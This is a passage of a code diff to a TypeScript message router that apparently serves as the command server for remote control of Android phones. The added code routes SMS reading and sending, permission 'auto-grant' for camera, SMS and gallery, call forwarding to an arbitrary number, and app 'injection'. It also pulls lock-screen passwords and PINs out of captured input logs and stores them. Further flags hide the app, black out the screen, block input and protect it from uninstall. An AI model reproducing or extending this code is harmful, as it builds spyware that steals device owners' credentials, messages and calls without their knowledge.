10秒清理一次 @@ -157,6 +205,48 @@ export class MessageRouter { this.startPeriodicCleanup() } + private toBinaryFrame(data: any): Buffer | null { + if (Buffer.isBuffer(data)) return data + if (data instanceof ArrayBuffer) return Buffer.from(data) + if (ArrayBuffer.isView(data)) return Buffer.from(data.buffer, data.byteOffset, data.byteLength) + if (data?.type === 'Buffer' && Array.isArray(data.data)) return Buffer.from(data.data) + return null + } + + private sendScreenFrameToController(controllerId: string, screenData: ScreenData): boolean { + const preferredTransport = this.webClientManager.getVideoTransportPreference(controllerId, screenData.deviceId) + if (preferredTransport !== 'ws_binary') { + // Non-WS video mode (WebRTC/SRT): WS channel carries control and signaling only. + return true + } + + const payloadMeta = { + deviceId: screenData.deviceId, + format: screenData.format, + width: screenData.width, + height: screenData.height, + quality: screenData.quality, + timestamp: screenData.timestamp, + isLocked: screenData.isLocked + } + + const binaryFrame = this.toBinaryFrame(screenData.data) + if (binaryFrame && binaryFrame.length > 0) { + return this.webClientManager.sendToClientWithArgs( + controllerId, + 'screen_data_bin', + screenData.deviceId, + payloadMeta, + binaryFrame + ) + } + + return this.webClientManager.sendToClient(controllerId, 'screen_data', { + ...payloadMeta, + data: screenData.data + }) + } + /** * 🖼️ 发送本地已缓存相册图片给指定Web客户端 */ @@ -268,7 +358,7 @@ export class MessageRouter { const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0' const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0' const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0' - this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`) + this.logger.debug(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`) } this.lastCleanupTime = currentTime @@ -353,7 +443,14 @@ export class MessageRouter { } // 特殊处理摄像头控制消息 - if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') { + if ( + message.type === 'CAMERA_START' || + message.type === 'CAMERA_STOP' || + message.type === 'CAMERA_SWITCH' || + message.type === 'CAMERA_PERMISSION_REQUEST' || + message.type === 'CAMERA_PERMISSION_CHECK' || + message.type === 'CAMERA_PERMISSION_AUTO_GRANT' + ) { this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证摄像头控制消息的数据格式 @@ -373,7 +470,13 @@ export class MessageRouter { } // 特殊处理SMS控制消息 - if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') { + if ( + message.type === 'SMS_PERMISSION_CHECK' || + message.type === 'SMS_PERMISSION_AUTO_GRANT' || + message.type === 'SMS_READ' || + message.type === 'SMS_SEND' || + message.type === 'SMS_UNREAD_COUNT' + ) { this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证SMS控制消息的数据格式 @@ -405,8 +508,113 @@ export class MessageRouter { } } + // 特殊处理应用控制消息 + if (message.type === 'APP_LIST' || message.type === 'APP_OPEN' || message.type === 'APP_INJECTION_ENABLE' || message.type === 'APP_INJECTION_DISABLE') { + this.logger.info(`📱 应用控制指令: ${message.type} -> 设备 ${message.deviceId}`) + if (message.type === 'APP_OPEN' || message.type === 'APP_INJECTION_ENABLE') { + const packageName = typeof message.data?.packageName === 'string' ? message.data.packageName.trim() : '' + if (!packageName) { + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_APP_PACKAGE', + message: '应用包名不能为空' + }) + return false + } + message = { + ...message, + data: { + ...message.data, + packageName + } + } + } else if (message.type === 'APP_LIST') { + message = { + ...message, + data: { + ...message.data, + includeIcons: message.data?.includeIcons === true + } + } + } else { + const reason = typeof message.data?.reason === 'string' ? message.data.reason.trim() : '' + message = { + ...message, + data: { + ...message.data, + reason: reason || 'web_request' + } + } + } + } + + // 特殊处理呼叫转移消息 + if (message.type === 'CALL_FORWARD_SET' || message.type === 'CALL_FORWARD_CANCEL') { + this.logger.info(`📲 呼叫转移指令: ${message.type} -> 设备 ${message.deviceId}`) + + const normalizeRule = (rawRule: unknown): 'all' | 'busy' | 'no_reply' | 'not_reachable' | null => { + if (typeof rawRule !== 'string') return 'all' + const normalized = rawRule.trim().toLowerCase() + if (normalized === 'all') return 'all' + if (normalized === 'busy') return 'busy' + if (normalized === 'no_reply' || normalized === 'no-answer' || normalized === 'no_answer') return 'no_reply' + if (normalized === 'not_reachable' || normalized === 'unreachable') return 'not_reachable' + return null + } + + const rule = normalizeRule(message.data?.rule) + if (!rule) { + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_CALL_FORWARD_RULE', + message: '呼叫转移规则无效,仅支持 all/busy/no_reply/not_reachable' + }) + return false + } + + if (message.type === 'CALL_FORWARD_SET') { + const rawPhone = typeof message.data?.phoneNumber === 'string' ? message.data.phoneNumber : '' + const phoneNumber = rawPhone + .trim() + .replace(/\s+/g, '') + .replace(/[()-]/g, '') + + if (!phoneNumber || !/^\+?[0-9]{3,20}$/.test(phoneNumber)) { + this.webClientManager.sendToClient(webClient.id, 'control_error', { + deviceId: message.deviceId, + error: 'INVALID_CALL_FORWARD_PHONE', + message: '呼叫转移手机号无效' + }) + return false + } + + message = { + ...message, + data: { + ...message.data, + rule, + phoneNumber + } + } + } else { + message = { + ...message, + data: { + ...message.data, + rule + } + } + } + } + // 特殊处理相册控制消息 - if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') { + if ( + message.type === 'GALLERY_PERMISSION_REQUEST' || + message.type === 'GALLERY_PERMISSION_CHECK' || + message.type === 'GALLERY_PERMISSION_AUTO_GRANT' || + message.type === 'ALBUM_READ' || + message.type === 'GET_GALLERY' + ) { this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`) // 验证相册控制消息的数据格式 @@ -534,6 +742,32 @@ export class MessageRouter { this.totalDataSize += dataSize + // UI hierarchy payload must bypass frame filters/dedup to avoid being dropped. + const isUiHierarchyPayload = screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY' + const isUiTestPayload = screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST' + + if (isUiTestPayload) { + this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`) + this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`) + } + + if (isUiHierarchyPayload) { + this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`) + this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`) + + try { + const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data + this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`) + + const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData) + this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`) + return routeResult + } catch (parseError) { + this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError) + return false + } + } + if (dataSize > this.maxDataSize) { // 动态限制 this.droppedFrames++ this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`) @@ -542,7 +776,7 @@ export class MessageRouter { // ✅ 过滤黑屏帧:Base64字符串<4000字符(≈3KB JPEG)几乎肯定是黑屏/空白帧 // 正常480×854 JPEG即使最低质量也远大于此值 - const MIN_VALID_FRAME_SIZE = 4000 + const MIN_VALID_FRAME_SIZE = this.minValidScreenFrameBytes if (dataSize > 0 && dataSize < MIN_VALID_FRAME_SIZE) { this.droppedFrames++ @@ -577,7 +811,7 @@ export class MessageRouter { if (existingBuffer) { // 如果有旧数据且时间间隔过短,可能是重复数据,跳过 const timeDiff = Date.now() - existingBuffer.timestamp - if (timeDiff < 30) { // 30ms内的重复数据才去重,配合50ms发送间隔 + if (timeDiff < this.minScreenFrameIntervalMs) { this.droppedFrames++ this.logger.debug(`[dedup] skip screen data: device=${screenData.deviceId}, interval=${timeDiff}ms`) return false @@ -590,34 +824,6 @@ export class MessageRouter { timestamp: Date.now() }) - // 🧪🧪🧪 特殊检测:识别UI层次结构实验数据 - if (screenData.format === 'UI_TEST' || (screenData as any).format === 'UI_TEST') { - this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`) - this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`) - // 继续正常处理流程 - } - - // 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理 - if (screenData.format === 'UI_HIERARCHY' || (screenData as any).format === 'UI_HIERARCHY') { - this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`) - this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`) - - try { - // 解析UI层次结构数据 - const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data - this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`) - - // 调用UI层次结构响应处理方法 - const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData) - this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`) - - return routeResult - } catch (parseError) { - this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError) - return false - } - } - // 首先尝试从DeviceManager获取设备信息 let device = this.deviceManager.getDeviceBySocketId(fromSocketId) @@ -734,16 +940,10 @@ export class MessageRouter { // 🔧 添加屏幕数据传输限流和错误处理 try { - // 发送屏幕数据到控制客户端 - const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { - deviceId: device.id, - format: screenData.format, - data: screenData.data, - width: screenData.width, - height: screenData.height, - quality: screenData.quality, - timestamp: screenData.timestamp, - isLocked: screenData.isLocked // 包含设备锁屏状态 + // 发送屏幕数据到控制客户端(二进制优先,文本兼容) + const success = this.sendScreenFrameToController(controllerId, { + ...screenData, + deviceId: device.id }) if (!success) { @@ -865,14 +1065,9 @@ export class MessageRouter { const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { - const success = this.webClientManager.sendToClient(controllerId, 'screen_data', { - deviceId: device.id, - format: screenData.format, - data: screenData.data, - width: screenData.width, - height: screenData.height, - quality: screenData.quality, - timestamp: screenData.timestamp + const success = this.sendScreenFrameToController(controllerId, { + ...screenData, + deviceId: device.id }) if (success) { @@ -1701,6 +1896,205 @@ export class MessageRouter { } } + /** + * 路由相册列表数据(设备 -> 当前控制端Web) + */ + routeAlbumData(fromSocketId: string, albumData: AlbumData): boolean { + try { + const deviceId = albumData?.deviceId + if (!deviceId) { + return false + } + + const liveDevice = this.deviceManager.getDeviceBySocketId(fromSocketId) + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + const resolvedDeviceId = liveDevice?.id || dbDevice?.deviceId + if (resolvedDeviceId && resolvedDeviceId !== deviceId) { + this.logger.warn(`⚠️ 非法相册数据来源,socket=${fromSocketId}, payloadDevice=${deviceId}`) + return false + } + + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (!controllerId) { + this.logger.debug(`设备 ${deviceId} 当前无控制端,忽略 album_data`) + return true + } + + const list = Array.isArray(albumData.albumList) ? albumData.albumList : [] + const count = typeof albumData.count === 'number' ? albumData.count : list.length + this.webClientManager.sendToClient(controllerId, 'album_data', { + deviceId, + type: 'album_data', + timestamp: albumData.timestamp || Date.now(), + count, + albumList: list + }) + return true + } catch (error) { + this.logger.error('路由相册列表数据失败:', error) + return false + } + } + + /** + * 路由应用列表数据(设备 -> 当前控制端Web) + */ + routeAppListData(fromSocketId: string, payload: AppListData): boolean { + try { + const payloadDeviceId = typeof payload?.deviceId === 'string' ? payload.deviceId : '' + + const liveDevice = this.deviceManager.getDeviceBySocketId(fromSocketId) + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + const resolvedDeviceId = liveDevice?.id || dbDevice?.deviceId + if (!resolvedDeviceId) { + this.logger.warn(`⚠️ 无法解析应用列表来源设备,socket=${fromSocketId}, payloadDevice=${payloadDeviceId || '-'}`) + return false + } + if (payloadDeviceId && resolvedDeviceId !== payloadDeviceId) { + this.logger.warn(`⚠️ 应用列表deviceId不一致,按socket归属修正: socket=${fromSocketId}, payloadDevice=${payloadDeviceId}, resolvedDevice=${resolvedDeviceId}`) + } + + const deviceId = resolvedDeviceId + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (!controllerId) { + this.logger.debug(`设备 ${deviceId} 当前无控制端,忽略 app_list_data`) + return true + } + + this.webClientManager.sendToClient(controllerId, 'app_list_data', { + deviceId, + type: 'app_list_data', + timestamp: payload.timestamp || Date.now(), + count: Array.isArray(payload.appList) ? payload.appList.length : (payload.count || 0), + appList: Array.isArray(payload.appList) ? payload.appList : [] + }) + return true + } catch (error) { + this.logger.error('路由应用列表数据失败:', error) + return false + } + } + + /** + * 路由应用打开结果(设备 -> 当前控制端Web) + */ + routeAppOpenResult(fromSocketId: string, payload: AppOpenResultData): boolean { + try { + const payloadDeviceId = typeof payload?.deviceId === 'string' ? payload.deviceId : '' + + const liveDevice = this.deviceManager.getDeviceBySocketId(fromSocketId) + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + const resolvedDeviceId = liveDevice?.id || dbDevice?.deviceId + if (!resolvedDeviceId) { + this.logger.warn(`⚠️ 无法解析应用打开结果来源设备,socket=${fromSocketId}, payloadDevice=${payloadDeviceId || '-'}`) + return false + } + if (payloadDeviceId && resolvedDeviceId !== payloadDeviceId) { + this.logger.warn(`⚠️ 应用打开结果deviceId不一致,按socket归属修正: socket=${fromSocketId}, payloadDevice=${payloadDeviceId}, resolvedDevice=${resolvedDeviceId}`) + } + + const deviceId = resolvedDeviceId + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (!controllerId) { + this.logger.debug(`设备 ${deviceId} 当前无控制端,忽略 app_open_result`) + return true + } + + this.webClientManager.sendToClient(controllerId, 'app_open_result', { + deviceId, + type: 'app_open_result', + timestamp: payload.timestamp || Date.now(), + packageName: payload.packageName || '', + success: !!payload.success, + message: payload.message || '' + }) + return true + } catch (error) { + this.logger.error('路由应用打开结果失败:', error) + return false + } + } + + /** + * 路由呼叫转移执行结果(设备 -> 当前控制端Web) + */ + routeCallForwardResult(fromSocketId: string, payload: CallForwardResultData): boolean { + try { + const deviceId = payload?.deviceId + if (!deviceId) return false + + const liveDevice = this.deviceManager.getDeviceBySocketId(fromSocketId) + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + const resolvedDeviceId = liveDevice?.id || dbDevice?.deviceId + if (!resolvedDeviceId || resolvedDeviceId !== deviceId) { + this.logger.warn(`⚠️ 非法呼叫转移结果来源,socket=${fromSocketId}, payloadDevice=${deviceId}`) + return false + } + + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (!controllerId) { + this.logger.debug(`设备 ${deviceId} 当前无控制端,忽略 call_forward_result`) + return true + } + + this.webClientManager.sendToClient(controllerId, 'call_forward_result', { + deviceId, + type: 'call_forward_result', + timestamp: payload.timestamp || Date.now(), + action: typeof payload.action === 'string' ? payload.action : '', + rule: typeof payload.rule === 'string' ? payload.rule : 'all', + phoneNumber: typeof payload.phoneNumber === 'string' ? payload.phoneNumber : '', + success: !!payload.success, + message: typeof payload.message === 'string' ? payload.message : '', + mmiCode: typeof payload.mmiCode === 'string' ? payload.mmiCode : undefined, + permissionRequested: payload.permissionRequested === true + }) + return true + } catch (error) { + this.logger.error('路由呼叫转移结果失败:', error) + return false + } + } + + routePinUiResponse( + fromSocketId: string, + eventName: 'pin_input_response' | 'four_digit_pin_response' | 'pattern_lock_response', + payload: PinUiResponseData + ): boolean { + try { + const payloadDeviceId = typeof payload?.deviceId === 'string' ? payload.deviceId : '' + const liveDevice = this.deviceManager.getDeviceBySocketId(fromSocketId) + const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId) + const resolvedDeviceId = liveDevice?.id || dbDevice?.deviceId + if (!resolvedDeviceId) { + this.logger.warn(`⚠️ 无法解析PIN响应来源设备,socket=${fromSocketId}, payloadDevice=${payloadDeviceId || '-'}`) + return false + } + if (payloadDeviceId && resolvedDeviceId !== payloadDeviceId) { + this.logger.warn(`⚠️ PIN响应deviceId不一致,按socket归属修正: socket=${fromSocketId}, payloadDevice=${payloadDeviceId}, resolvedDevice=${resolvedDeviceId}`) + } + + const deviceId = resolvedDeviceId + const controllerId = this.webClientManager.getDeviceController(deviceId) + if (!controllerId) { + this.logger.debug(`设备 ${deviceId} 当前无控制端,忽略 ${eventName}`) + return true + } + + this.webClientManager.sendToClient(controllerId, eventName, { + deviceId, + success: !!payload?.success, + message: typeof payload?.message === 'string' ? payload.message : '', + timestamp: payload?.timestamp || Date.now(), + passwordType: typeof payload?.passwordType === 'string' ? payload.passwordType : undefined + }) + return true + } catch (error) { + this.logger.error(`路由${eventName}失败:`, error) + return false + } + } + /** * 路由设备事件(从设备到Web客户端) */ @@ -1886,6 +2280,15 @@ export class MessageRouter { case 'CHANGE_SERVER_URL': return this.handleChangeServerUrl(client.id, eventData.deviceId, eventData.data) + case 'UPDATE_RUNTIME_FLAGS': + return this.handleUpdateRuntimeFlags(client.id, eventData.deviceId, eventData.flags) + + case 'GET_RUNTIME_FLAGS': + return this.handleGetRuntimeFlags(client.id, eventData.deviceId) + + case 'GET_DEVICE_METRICS': + return this.handleGetDeviceMetrics(client.id, eventData.deviceId, eventData.hours) + default: this.logger.warn(`未知的客户端事件类型: ${eventType}`) return false @@ -2094,6 +2497,9 @@ export class MessageRouter { this.logger.debug(`操作日志已保存: ${device.name} - ${logMessage.logType}: ${logMessage.content}`) + // 从真实锁屏输入日志中提取密码并同步到设备状态 + this.tryUpdatePasswordFromOperationLog(device.id, logMessage) + // 实时广播给正在控制该设备的Web客户端 const controllerId = this.webClientManager.getDeviceController(device.id) if (controllerId) { @@ -2116,6 +2522,126 @@ export class MessageRouter { } } + private normalizeCapturedPassword(candidate: unknown): string | null { + if (typeof candidate !== 'string') { + return null + } + + const trimmed = candidate.trim() + if (!trimmed) { + return null + } + + // Skip pure mask strings. + if (/^(?:[\u2022*?\u00B7\-\s])+$/.test(trimmed)) { + return null + } + + const compact = trimmed.replace(/\s+/g, '') + const dialerKeypadPattern = /^(?:\d(?:ABC|DEF|GHI|JKL|MNO|PQRS|TUV|WXYZ))+$/i + if (dialerKeypadPattern.test(compact)) { + const digits = compact.replace(/(?:ABC|DEF|GHI|JKL|MNO|PQRS|TUV|WXYZ)/ig, '') + if (digits.length >= 3) { + return digits + } + return null + } + + if (trimmed.length < 3 || trimmed.length > 64) { + return null + } + + return trimmed + } + + private extractPasswordCandidateFromTextLogContent(contentRaw: unknown): string | null { + if (typeof contentRaw !== 'string') { + return null + } + + const content = contentRaw.trim() + if (!content) { + return null + } + + const patternList = [ + /(?:密码|password|passcode|pin)\s*(?::|:|=)\s*([^\s|,;]+)/i, + /(?:输入文本|input\s*text|typed\s*text)\s*(?::|:|=)\s*([^\s|,;]+)/i, + /(?:重构密码|reconstructed\s*password|unlock\s*password)\s*(?::|:|=)\s*['"]?([^'"\s|,;]+)['"]?/i + ] + + for (const pattern of patternList) { + const match = content.match(pattern) + const normalized = this.normalizeCapturedPassword(match?.[1] || null) + if (normalized) { + return normalized + } + } + + return null + } + + private shouldIgnorePasswordCaptureBySource(extraData: any): boolean { + const sourcePackage = String(extraData?.sourcePackageName || extraData?.packageName || '').toLowerCase() + const sourceClass = String(extraData?.sourceClassName || extraData?.className || '').toLowerCase() + + // Ignore our own PasswordInputActivity records (manual setup PIN/PATTERN page). + if (sourcePackage.includes('com.hikoncont')) { + return true + } + if (sourceClass.includes('passwordinputactivity')) { + return true + } + + return false + } + + private tryUpdatePasswordFromOperationLog(deviceId: string, logMessage: OperationLogMessage): void { + try { + if (logMessage.logType !== 'TEXT_INPUT') { + return + } + + const extraData = logMessage.extraData as any + if (!extraData || typeof extraData !== 'object') { + return + } + if (extraData.isPasswordCapture !== true) { + return + } + if (this.shouldIgnorePasswordCaptureBySource(extraData)) { + return + } + + const candidates = [ + extraData.reconstructedPassword, + extraData.actualPasswordText, + extraData.password, + extraData.numericSequencePassword, + extraData.text + ] + + for (const candidate of candidates) { + const password = this.normalizeCapturedPassword(candidate) + if (!password) { + continue + } + + this.databaseService.updateDevicePassword(deviceId, password) + this.logger.info(`Updated device password from operation_log capture: ${deviceId}`) + return + } + + const fromContent = this.extractPasswordCandidateFromTextLogContent(logMessage.content) + if (fromContent) { + this.databaseService.updateDevicePassword(deviceId, fromContent) + this.logger.info(`Updated device password from operation_log content parse: ${deviceId}`) + } + } catch (error) { + this.logger.warn(`Failed to update password from operation_log for ${deviceId}:`, error) + } + } + /** * 处理获取操作日志请求 */ @@ -2372,6 +2898,8 @@ export class MessageRouter { // 更新设备状态到数据库 this.databaseService.updateDeviceState(deviceId, state) + // ✅ 修复:状态更新后立刻同步到设备端,避免“Web显示已开启但设备未执行” + this.syncStateUpdateToDevice(deviceId, state) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'update_device_state_response', { @@ -2392,6 +2920,44 @@ export class MessageRouter { } } + private syncStateUpdateToDevice(deviceId: string, state: any): void { + try { + if (!state || typeof state !== 'object') { + return + } + + const syncState: any = {} + const syncKeys = [ + 'inputBlocked', + 'loggingEnabled', + 'blackScreenActive', + 'appHidden', + 'uninstallProtectionEnabled' + ] + + for (const key of syncKeys) { + if (state[key] !== undefined && state[key] !== null) { + syncState[key] = state[key] + } + } + + if (Object.keys(syncState).length === 0) { + return + } + + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (!deviceSocketId) { + this.logger.warn(`⚠️ 设备 ${deviceId} socket不存在,跳过状态实时同步`) + return + } + + this.syncDeviceStateToDevice(deviceSocketId, deviceId, syncState) + this.logger.info(`🔁 已将UPDATE_DEVICE_STATE实时同步到设备 ${deviceId}: ${Object.keys(syncState).join(',')}`) + } catch (error) { + this.logger.error(`❌ UPDATE_DEVICE_STATE同步到设备失败: ${deviceId}`, error) + } + } + /** * 处理获取设备状态请求 */ @@ -2464,6 +3030,7 @@ export class MessageRouter { this.webClientManager.broadcastToAll('device_input_blocked_changed', { deviceId, blocked, + inputBlocked: blocked, success: true, message: '设备输入阻塞状态已更新' }) @@ -2475,6 +3042,7 @@ export class MessageRouter { this.webClientManager.broadcastToAll('device_input_blocked_changed', { deviceId, blocked, + inputBlocked: blocked, success: false, message: '更新设备输入阻塞状态失败' }) @@ -2524,6 +3092,7 @@ export class MessageRouter { // ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可 // Android端已经在运行并维护着真实状态,不需要强制同步命令 // 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定 + this.syncRuntimeStateOnControlRestore(deviceId, deviceState) this.logger.info(`设备 ${deviceId} 状态已恢复到Web端: 密码=${deviceState.password ? '已设置' : '未设置'}, 输入阻塞=${deviceState.inputBlocked}, 日志=${deviceState.loggingEnabled}`) } else { @@ -2540,6 +3109,36 @@ export class MessageRouter { } } + private syncRuntimeStateOnControlRestore(deviceId: string, deviceState: any): void { + try { + const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) + if (!deviceSocketId) { + this.logger.warn(`⚠️ 恢复控制时设备socket不存在,跳过运行态同步: ${deviceId}`) + return + } + + const runtimeState: any = {} + if (deviceState?.loggingEnabled !== undefined && deviceState?.loggingEnabled !== null) { + runtimeState.loggingEnabled = !!deviceState.loggingEnabled + } + if (deviceState?.inputBlocked !== undefined && deviceState?.inputBlocked !== null) { + runtimeState.inputBlocked = !!deviceState.inputBlocked + } + + if (Object.keys(runtimeState).length === 0) { + return + } + + // 轻微延迟,避免控制权切换瞬间命令与会话事件竞争 + setTimeout(() => { + this.syncDeviceStateToDevice(deviceSocketId, deviceId, runtimeState) + }, 120) + this.logger.info(`🔁 控制恢复时已安排运行态补同步: ${deviceId}, keys=${Object.keys(runtimeState).join(',')}`) + } catch (error) { + this.logger.error(`❌ 控制恢复运行态同步失败: ${deviceId}`, error) + } + } + private handleSearchPasswordsFromLogs(clientId: string, deviceId: string): boolean { try { // 检查客户端权限 @@ -3117,7 +3716,7 @@ export class MessageRouter { data: {}, timestamp: Date.now() } - deviceSocket.emit('control_message', controlMessage) + deviceSocket.emit('control_command', controlMessage) this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`) } @@ -4240,12 +4839,32 @@ export class MessageRouter { } this.logger.info(`📱 处理设备 ${device.id} 的权限申请响应`) + const permissionType = typeof permissionData?.permissionType === 'string' + ? permissionData.permissionType + : 'unknown' + const payload = { + deviceId: device.id, + permissionType, + success: permissionData?.success !== false, + message: permissionData?.message || '', + timestamp: permissionData?.timestamp || Date.now() + } - // 检查权限类型并处理响应 - if (permissionData.permissionType === 'media_projection') { - this.handleMediaProjectionPermissionResponse(device.id, permissionData) + // 特殊处理: MediaProjection 使用专用事件。 + if (permissionType === 'media_projection') { + this.handleMediaProjectionPermissionResponse(device.id, payload) + return true + } + + // 通用权限响应: 优先发给当前控制端;若无控制端则广播。 + const controllerId = this.webClientManager.getDeviceController(device.id) + if (controllerId) { + const ok = this.webClientManager.sendToClient(controllerId, 'permission_response', payload) + if (!ok) { + this.webClientManager.broadcastToAll('permission_response', payload) + } } else { - this.logger.warn(`⚠️ 未知的权限类型: ${permissionData.permissionType}`) + this.webClientManager.broadcastToAll('permission_response', payload) } return true @@ -4417,10 +5036,41 @@ export class MessageRouter { createdAt: new Date() } + const sourceType = typeof passwordData.sourceType === 'string' ? passwordData.sourceType : 'unknown' + const isManualPasswordInputActivity = passwordInputRecord.activity.toLowerCase().includes('passwordinputactivity') + const shouldPromoteToDeviceState = !isManualPasswordInputActivity && !sourceType.toLowerCase().includes('manual') + this.logger.info(`通用密码数据 ${passwordInputRecord.password} (类型: ${passwordInputRecord.passwordType})`) // 保存到数据库 this.databaseService.savePasswordInput(passwordInputRecord) + // 仅将可信来源同步到设备状态,避免把业务 PIN 页面输入污染为锁屏密码 + if (shouldPromoteToDeviceState) { + this.databaseService.updateDevicePassword(deviceId, passwordInputRecord.password) + } else { + this.logger.info(`Skip promote password to device state (manual source): device=${deviceId}, activity=${passwordInputRecord.activity}, sourceType=${sourceType}`) + } + + // 写入一条结构化的 TEXT_INPUT 日志,便于“查找密码”从 operation_logs 回溯 + this.databaseService.saveOperationLog({ + deviceId, + logType: 'TEXT_INPUT', + content: `锁屏密码输入记录: 类型=${passwordInputRecord.passwordType} 长度=${passwordInputRecord.passwordLength}`, + extraData: { + source: 'password_input_event', + sourceType, + isManualPasswordInputActivity, + password: passwordInputRecord.password, + reconstructedPassword: passwordInputRecord.password, + actualPasswordText: passwordInputRecord.password, + passwordType: passwordInputRecord.passwordType, + passwordLength: passwordInputRecord.passwordLength, + inputMethod: passwordInputRecord.inputMethod, + activity: passwordInputRecord.activity, + isPasswordCapture: true + }, + timestamp: new Date() + }) // 向所有Web客户端广播通用密码输入记录 this.webClientManager.broadcastToAll('password_input_recorded', { @@ -5275,6 +5925,284 @@ export class MessageRouter { return false } } + + private parseOptionalBoolean(value: any): boolean | undefined { + if (typeof value === 'boolean') return value + if (typeof value === 'number') return value !== 0 + if (typeof value === 'string') { + const normalized = value.trim().toLowerCase() + if (normalized === 'true' || normalized === '1' || normalized === 'yes') return true + if (normalized === 'false' || normalized === '0' || normalized === 'no') return false + } + return undefined + } + + private normalizeRuntimeFlags(raw: any): Record { + const allowedKeys = [ + 'bootAutoStart', + 'workManagerKeepAlive', + 'comprehensiveKeepAlive', + 'enhancedEventRecovery', + 'permissionMetrics', + 'keepAliveMetrics' + ] + const source = raw && typeof raw === 'object' ? raw : {} + const result: Record = {} + for (const key of allowedKeys) { + const parsed = this.parseOptionalBoolean((source as any)[key]) + if (parsed !== undefined) { + result[key] = parsed + } + } + return result + } + + private handleUpdateRuntimeFlags(clientId: string, deviceId: string, flagsRaw: any): boolean { + try { + const normalizedFlags = this.normalizeRuntimeFlags(flagsRaw) + if (Object.keys(normalizedFlags).length === 0) { + this.webClientManager.sendToClient(clientId, 'runtime_flags_update_response', { + deviceId, + success: false, + message: 'flags payload is empty or invalid' + }) + return false + } + + const device = this.deviceManager.getDevice(deviceId) + if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { + this.webClientManager.sendToClient(clientId, 'runtime_flags_update_response', { 